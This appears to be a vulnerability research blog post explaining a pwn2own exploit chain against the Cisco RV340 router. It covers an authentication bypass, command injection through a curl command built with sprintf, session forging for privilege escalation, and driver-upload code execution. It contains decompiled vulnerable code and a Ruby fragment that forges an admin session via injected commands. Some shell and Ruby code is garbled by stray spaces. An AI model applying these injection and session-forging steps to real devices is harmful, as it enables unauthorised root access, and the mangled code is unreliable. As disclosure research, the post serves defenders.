Four vulnerabilities were identified and used to successfully exploit a Cisco RV340 on the Local Area Network (LAN) side of the router during the Austin pwn2own competition in November 2021. The vulnerabilities for CVE-2022-20705 and CVE-2022-20707 were found by multiple entrants, including us, while CVE-2022-20700 and CVE-2022-20712 were unique to our entry. The vulnerabilities used are as follows:
- CVE-2022-20705 - Improper Session Management Vulnerability
- CVE-2022-20707 - Command Injection Vulnerabilities
- CVE-2022-20700 - Privilege Escalation Vulnerabilities
- CVE-2022-20712 - Upload Module Remote Code Execution Vulnerability
The following 9 models of Cisco devices are effected by both CVE-2022-20700 and CVE-2022-20705: RV160, RV160W, RV260, RV260P, RV260W, RV340, RV340W, RV345 and RV345P. The following 4 models of Cisco devices are effected by both CVE-2022-20707 and CVE-2022-20712: RV340, RV340W, RV345 and RV345P. More details can be found in the Cisco advisory.
This blog post details the vulnerabilities as used during pwn2own against a vulnerable Cisco RV340 device.
Introduction
By chaining several vulnerabilities, we can exploit a Cisco RV340 to achieve remote root privileges on the LAN side. We target the web server which provides the administration portal, it runs via a NGINX server listening on port 80 for HTTP and port 443 for HTTPS connections. We leverage an authentication bypass vulnerability and a logic issue to reach a command injection vulnerability. The webserver runs as user www-data, so we also chain an elevation of privilege vulnerability to elevate from www-data to root privileges.
To follow along with this report you can download the firmware image RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img from the Cisco website. The firmware file format is a u-boot legacy uImage and can be extracted on a Linux machine using the dumpimage tool from the u-boot-tools package. Contained in the image is a UBIFS filesystem that can be extracted using the ubidump tool. Running the following commands will extract the required files from the firmware:
dumpimage RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img -o rv340-v1.0.03.22.tar.gz
A folder “rootfs” will be created which contains the files described in this report.
Improper Session Management (CVE-2022-20705)
v16 = strcmp_1(REQUEST_URI, "/api/operations/ciscosb-file:form-file-upload");
if (v16 != 0) {
v17 =
strcmp_1(REQUEST_URI, "/upload");
if (v17 == 0 &&
HTTP_COOKIE != 0) { // if the URI is /upload and we
have a sessionid in the cookie
v18 =
strlen_1(HTTP_COOKIE);
if (v18 < 81) { // sanity check sessionid characters
v19 = match_regex("^[A-Za-z0-9+=/]*$", HTTP_COOKIE);
if (v19 == 0) {
v20 = StrBufToStr(local_0x44);
func_0x2684(HTTP_COOKIE,
content_destination, content_option, content_pathparam, v20, content_cert_name,
content_cert_type, content_password);
}
}
}
}
if (HTTP_COOKIE != 0) { // if an
cookie is available
StrBufSetStr(cookie_str, HTTP_COOKIE);
__s2 =
StrBufToStr(cookie_str);
next_semicolon =
strtok_r(__s2, ";", &saveptr); // start to split the
semicolon deliminated cookie
HTTP_COOKIE = 0; // this variable will become the sessionid string
while (next_semicolon != 0) {
sessionid =
strstr(next_semicolon, "sessionid=");
if (sessionid != 0) { // advance past "sessionid=" and set the value
HTTP_COOKIE = sessionid + 10;
// advance past "sessionid=" and set the
value
}
next_semicolon =
strtok_r(0, ";", &saveptr); // keep searching
}
}
Command Injection (CVE-2022-20707)
// upload.cgi!main+0x164
jsonutil_get_string(data_0x13248 + 0x4,
&content_file_param, "\"file.path\"", -1);
jsonutil_get_string(data_0x13248 + 0x4,
&content_filename, "\"filename\"", -1);
jsonutil_get_string(data_0x13248 + 0x4,
&content_pathparam, "\"pathparam\"", -1);
jsonutil_get_string(data_0x13248 + 0x4,
&content_fileparam, "\"fileparam\"", -1);
jsonutil_get_string(data_0x13248 + 0x4,
&content_destination, "\"destination\"", -1);
jsonutil_get_string(data_0x13248 + 0x4,
&content_option, "\"option\"", -1);
jsonutil_get_string(data_0x13248 + 0x4,
&content_cert_name, "\"cert_name\"", -1);
jsonutil_get_string(data_0x13248 + 0x4,
&content_cert_type, "\"cert_type\"", -1);
jsonutil_get_string(data_0x13248 + 0x4, &content_password, "\"password\"", -1);
int __cdecl func_0x2104(int content_destination, int content_fileparam, int content_option)
{
// ...
StrBufSetStr(v8, "FILE://3g-4g-driver/");
StrBufAppendStr(v8, content_fileparam);
v9 = json_object_new_string("2.0");
json_object_object_add(json_obj1, "jsonrpc", v9);
v10 = json_object_new_string("action");
json_object_object_add(json_obj1, "method", v10);
json_object_object_add(json_obj1, "params",
json_obj3);
v11 = json_object_new_string("file-copy");
json_object_object_add(json_obj3,
&string_jsonrpc + 0x4, v11);
json_object_object_add(json_obj3, "input", json_obj2);
v12 = json_object_new_string("3g-4g-driver");
json_object_object_add(json_obj2, "fileType", v12);
json_object_object_add(json_obj2, "source",
json_obj4);
v13 = StrBufToStr(v8);
v14 = json_object_new_string(v13);
json_object_object_add(json_obj4, "location-url", v14);
json_object_object_add(json_obj2, "destination",
json_obj5);
v15 = json_object_new_string(content_destination);
json_object_object_add(json_obj5, "firmware-state", v15);
json_object_object_add(json_obj2, "firmware-option",
json_obj6);
v16 = json_object_new_string(content_option);
json_object_object_add(json_obj6, "reboot-type", v16);
if (json_obj != 0) {
json_str =
json_object_to_json_string(json_obj);
sprintf(&buff, "curl %s --cookie 'sessionid=%s' -X POST -H 'Content-Type:
application/json' -d '%s'", v3, sessionid, json_str);
debug("curl_cmd=%s", &buff);
__stream = popen(&buff, "r");
if (__stream != 0) {
fread_1(&buff[2048], 2048, 1,
__stream);
fclose_1(__stream);
}
Privilege Escalation (CVE-2022-20700)
fake_username = "sf"
admin_sessionid
= Base64.encode64("#{fake_username}/#{http.local_address}/#{uptime_seconds}").gsub("\n", "")
websessions = %
Q[{
"max-count":1,
"#{fake_username}" : {
"#{admin_sessionid}":{
"user":"#{fake_username}",
"group" : "admin",
"time" : #{uptime_seconds},
"access" : 1,
"timeout" : 1800,
"leasetime" : 0
}
}
}]
websessions.gsub!("\n", "\\n")
result =
cisco_rv340_wwwdata_command_injection(http, "echo
-n -e #{websessions} > /tmp/websession/session; echo -n 1")
if (result.nil ? or result.to_i
!= 1)
$stdout.puts("[-] Failed create
/tmp/websession/session") if @verbose
return nil
end
result =
cisco_rv340_wwwdata_command_injection(http, "touch
/tmp/websession/token/#{admin_sessionid}; echo -n 1")
Upload Module Remote Code Execution (CVE-2022-20712)
INSTALL_USB_DRIVERS = "sh /usr/bin/install_usb_drivers"
# ...
# Download
drivers from PC case
if["$filetype" = "3g-4g-driver"]; then
checkPC = `echo
$source_location_url | grep "$FILE_DRIVER"`
if[-n "$checkPC"]; then
orig_filename = `basename
$source_location_url`
# We assume that web server will put the file to correct location
before calling this RPC
if[-e "$DRIVER_DL_PATH/$orig_filename"]; then
`$INSTALL_USB_DRIVERS $DRIVER_DL_PATH / $orig_filename 2
> / dev / null 1 > / dev / null`
errcode = $ ?
#!/bin/sh
DRIVER_FILE = `basename $1`
DRIVER_FILE_DIR = `dirname $1`
DOWN_DIR = "/tmp/"
INSTALL_STATUS = 0
ASDSTATUS = "/tmp/asdclientstatus"
if["$DRIVER_FILE_DIR" != "."]; then
#Absolute path
if["$DRIVER_FILE_DIR" != "/tmp"]; then
`cp - f $1 $DOWN_DIR`> /dev/null 2
> &1
fi
fi
DRIVER_DIR = "/tmp/driver"
mkdir - p $DRIVER_DIR
# Extract the file
tar - xzf $DOWN_DIR$DRIVER_FILE - C $DRIVER_DIR
if["$?" - eq 0]; then
# Install
the driver
`/${DRIVER_DIR}/sbin/usb-modem install` > /dev/null 2 >
&1
INSTALL_STATUS = "$?"
else
INSTALL_STATUS = 1
fi
rm - rf "$DOWN_DIR/$DRIVER_FILE"
rm - rf "$DRIVER_DIR"
echo $INSTALL_STATUS >
$ASDSTATUS
exit $INSTALL_STATUS